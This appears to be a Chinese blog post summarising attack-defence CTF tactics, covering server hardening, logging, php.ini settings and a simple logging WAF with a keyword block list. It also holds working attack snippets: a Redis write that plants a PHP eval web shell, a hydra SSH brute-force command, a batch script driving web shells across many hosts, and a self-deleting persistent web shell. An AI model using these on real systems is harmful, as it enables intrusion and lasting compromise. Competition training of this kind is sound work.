惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

N
Netflix TechBlog - Medium
I
InfoQ
Engineering at Meta
Engineering at Meta
Jina AI
Jina AI
Recent Announcements
Recent Announcements
T
The Blog of Author Tim Ferriss
P
Proofpoint News Feed
钛媒体:引领未来商业与生活新知
钛媒体:引领未来商业与生活新知
D
Docker
Microsoft Security Blog
Microsoft Security Blog
宝玉的分享
宝玉的分享
Last Week in AI
Last Week in AI
OSCHINA 社区最新新闻
OSCHINA 社区最新新闻
GbyAI
GbyAI
博客园 - Franky
博客园 - 聂微东
Microsoft Azure Blog
Microsoft Azure Blog
博客园 - 叶小钗
酷 壳 – CoolShell
酷 壳 – CoolShell
B
Blog RSS Feed
WordPress大学
WordPress大学
MyScale Blog
MyScale Blog
月光博客
月光博客
罗磊的独立博客

Hi, I Am I

[I Am I 年度简报] — 不知终日梦为鱼 初探 ESP32-CAM QQ 聊天记录 MHT 文件转 HTML [I Am I 年度简报] - 草木本无意,荣枯自有时。 Hexo 中实现 Live Photos 支持 写在当下 NKCTF 2024 1z_F0r3ns1c5 Writeup 春秋杯冬季赛 2023 Writeup [I Am I 年度简报] - 2023 某内网渗透内部赛 Writeup 强网拟态 2023 Writeup Github Actions 自动化部署 Hexo 浅析CobaltStrike流量解密 陇剑杯 2023 Writeup CTF线下赛AWDP总结 ISCC 2023 Writeup ISCC 2023 实战题 Writeup CISCN 2023 Writeup 福建闽盾杯网络空间安全大赛 2023 Writeup 天一永安杯宁波市网络安全大赛 2023 Writeup 贵阳大数据及网络安全精英对抗赛 2023 Writeup 红明谷杯 2023 Writeup Confetti 带来有仪式感的鼓励 记一次 JS 逆向密码加密 [I Am I 年度简报] – 2022 PHP 读取 Excel 文件内容并写入数据库 从0开始的 MoeCTF 开发之路 观安杯 2022 Writeup 利用微信服务号实现早安自动化 Cloudflare批量拉黑IP脚本
CTF线下赛AWD攻防总结
2022-04-21 · via Hi, I Am I

2023/6/28更新:可以参考一下我的最新文章CTF线下赛AWDP总结

记录一下AWD的操作步骤,迄今为止只打过一场线下AWD,环境为内网且为低权限用户无法提权,所以下面的操作记录大部分没用到…记录一下,方便以后其他比赛参考

不过博主后续给别人培训过AWD,也拿到了很好的名次,证明此篇文章并无太大问题,只需要根据竞赛规则进行变更即可。比如:允许自带电脑那么可以提前准备D盾之类的工具或者一些框架的EXP利用脚本等等

AWD最主要的就是手速和随机应变的能力!!! 同时队伍分配一定要合理,密码一定第一时间改掉,修改完配置文件一定记得重启使之生效。

连接SSH

ssh-copy-id -i ~/.ssh/id_rsa.pub root@xx.xx.xx.xx # 公钥登录
ssh root@xx.xx.xx.xx # 密码登录

改密码

ssh

passwd root

网站

登录网站后台(普遍是弱口令,如果不是去数据库翻一下)然后改密码

mysql

SET PASSWORD FOR root@localhost = PASSWORD('123456');

查看进程

netstat -tpnl 
ps -df
top

杀死进程

kill -9 PID
killall 名称

如果杀不掉,就查看父进程,杀掉父进程,如果还不行继续往上查 删掉木马文件,重新杀进程

ps -ef | grep 3045

如果进程不允许关闭 可以用 nc 监听一个端口,达到欺骗目的

nc -lv 6666

扫描端口

nmap -sn xx.xx.xx.0/24
nmap -sV -Pn -n -v --open xx.xx.xx.0/24

流量监控

tcpdump tcp -i eth0 -t -s 0 and dst port ! 22 and src net 192.168.1.0/24 -w ./target.cap

tcpdump 是用于捕获网络数据包的命令。
tcp 表示仅捕获 TCP 数据包。
-i eth0 指定要捕获数据包的网络接口为 eth0。
-t 禁用输出的时间戳。
-s 0 设置要捕获的数据包的最大字节大小。0 表示捕获整个数据包。
and dst port ! 22 表示目标端口不是 22(即除了 SSH 以外的所有目标端口)。
and src net 192.168.1.0/24 表示源网络为 192.168.1.0/24。
-w ./target.cap 指定将捕获的数据包写入到当前目录下的 "target.cap" 文件中。

备份网站

tar -zcvf web.tar.gz /var/www/html

备份数据库

mysqldump -uroot -p --databases [dbname] > /tmp/db.sql

find命令

查找行数最短的文件

find ./ -name '*.php' | xargs wc -l | sort -u

查找最近20分钟修改过的文件

find /var/www/html -name *.php -mmin -20

查找危险函数

find . -name '*.php' | xargs grep -n 'eval('

开启日志

日志功能在 /etc/httpd/conf 目录有个 httpd.conf 直接 vi/vim 编辑器打开用 / 搜索 access.log

这俩前面如果有 # 删掉 # 然后保存退出

CustomLog "logs/access.log" combined
CustomLog "logs/access.log" common

access.log 显示 POST 请求传参

# LoadModule dumpio_module modules/mod_dumpio.so

然后重启 Apache,使修改的配置文件生效

systemctl restart httpd

然后直接 实时 查看 access.log 文件的 新增 内容

tail -f access.log

使用-f参数时不会中断文件监视,需要通过ctrl+c手动结束。

php.ini

一般来说文件都在 /etc/php.ini

在不影响正常功能的情况下 禁用 危险函数

disable_functions = exec,system,shell_exec,popen,passthru,pcntl_exec,phpinfo

预防SQL注入

magic_quotes_gpc = on

修复远程文件包含

allow_url_fopen = off  (是否允许打开远程文件)  
allow_url_include = off(是否允许include/require远程文件)

切记修改完配置文件重启

service php-fpm restart

PHP读取函数

file_get_contents()
highlight_file()
fopen()
readfile()
fread()
fgetss()
fgets()
parse_ini_file()
show_source()
file()
-----------------------------------
var_dump(scandir('/')); 

文件包含修复

直接把它目录限制死在 /var/www/html

int_set("open_basedir","/var/www/html");

Redis未授权

config set dir path

set feiye "\n\n\n<?php eval($_POST['cmd']);?>\n\n\n"

config set dbfilename service.php

save

批量SSH链接

hydra -l root -p dcn -f ip.txt ssh

批量攻击脚本

import requests
import re
url=[]
flag=[]
for i in range(101,151):
    url.append("http://10.0.0./" + str(i))
for x in url:
    postdata = {'cmd':"system('cat+/var/www/html/flag')"}
    sussess = requests.post(x+"shell.php",data=postdata)
    if 'flag' in sussess.content:
        flag.append(re.search("flag{.*}",sussess.content))
        print(flag)
    else:
        print(x+": failed")
for f in flag:
    inflag=requests.get("domain.com/flag.php?token=token&flag="+f)

不死马

<?php
set_time_limit(0);
ignore_user_abort(true);
unlink(__FILE__);
while(true){
    file_put_contents('.shell.php', '<?php @eval($_POST[cmd]);');
    usleep(100);
}

删除不死马

#!/bin/bash
dire="/var/www/html/.shell.php/"
file="/var/www/html/.shell.php"
rm -rf $file
mkdir $dire

WAF

<?php
$request = array(
    'url' => $_SERVER['REQUEST_URI'],
    'time' => date('Y-m-d H:i:s')
);

if ($_POST) {
    foreach ($_POST as $k => $v) {
        $request[$k] = urldecode($v);
        waf($v);
    }
}

if ($_GET) {
    foreach ($_GET as $k => $v) {
        waf($v);
    }
}

$file = fopen('waf.log', 'a');
fwrite($file, json_encode($request) . "\n");
fclose($file);

function waf($str) {
    $filed = 'flag|cat|less|nl|more|tac|tail|base64|system';
    if (preg_match("/$filed/im", $str)) {
        exit('flag{asdfaqawfawfawf}');
    }
}